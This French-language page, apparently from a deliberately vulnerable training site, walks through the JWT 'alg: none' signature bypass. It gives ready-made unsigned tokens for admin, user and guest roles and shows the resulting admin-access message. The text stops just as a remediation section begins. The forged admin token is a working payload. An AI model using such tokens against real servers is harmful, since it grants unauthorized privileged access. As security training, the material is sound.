Exploitez une faille dans la validation JWT pour accéder aux ressources protégées.
Ce site est conçu pour illustrer une vulnérabilité spécifique liée aux JSON Web Tokens (JWT). Les JWT sont largement utilisés pour l'authentification et la gestion des sessions dans les applications web modernes. Cependant, une mauvaise implémentation peut conduire à des failles de sécurité critiques.
L'application permet aux utilisateurs de soumettre un token JWT qui est ensuite validé côté serveur pour déterminer s'ils ont accès à des ressources protégées. Normalement, le serveur devrait vérifier la signature du token en utilisant une clé secrète connue uniquement de lui. Cependant, dans cette simulation, le serveur ne valide pas correctement certains aspects du token, ce qui ouvre la porte à des manipulations malveillantes.
La vulnérabilité réside dans le fait que le serveur accepte des tokens JWT signés avec l'algorithme 'none'. Dans la spécification JWT, l'algorithme 'none' indique qu'il n'y a pas de signature. Si le serveur ne rejette pas explicitement les tokens utilisant cet algorithme, un attaquant peut créer un token arbitraire sans signature, et le serveur l'acceptera comme valide.
Un JWT est composé de trois parties séparées par des points :
Nous allons forger un JWT en spécifiant l'algorithme 'none', ce qui signifie qu'il n'y aura pas de signature.
En-tête (Header) :
{ "alg": "none", "typ": "JWT" }
Charge utile (Payload) :
{ "user": "admin1", "role": "admin" }
Ensuite, encodez ces deux parties en Base64URL.
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
eyJ1c2VyIjoiYWRtaW4xIiwicm9sZSI6ImFkbWluIn0
Comme l'algorithme est 'none', il n'y a pas de signature. Assemblez donc le token :
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4xIiwicm9sZSI6ImFkbWluIn0.
Copiez le token ci-dessus et collez-le dans le champ 'Entrer un JWT' du formulaire ci-dessus, puis cliquez sur 'Soumettre'.
Si le serveur est vulnérable, il acceptera le token sans signature et vous accordera un accès non autorisé aux ressources protégées. Vous devriez voir le message :
Accès autorisé en tant qu'admin. Permissions: read, write, delete, manage_users
Vous pouvez modifier la charge utile pour tester différents scénarios.
Exemple pour un utilisateur standard :
{ "user": "user1", "role": "user" }
Token complet pour utilisateur standard :
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidXNlcjEiLCJyb2xlIjoidXNlciJ9.
Exemple pour un invité :
{ "user": "guest1", "role": "guest" }
Token complet pour invité :
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiZ3Vlc3QxIiwicm9sZSI6Imd1ZXN0In0.
Le mot 'none' est spécifié dans l'en-tête du token JWT. Il est encodé en Base64URL dans la première partie du token. En décodant l'en-tête, vous obtenez :
{ "alg": "none", "typ": "JWT" }
C'est cette spécification de l'algorithme 'none' qui permet de contourner la vérification de la signature.
Pour corriger cette vulnérabilité, les développeurs doivent :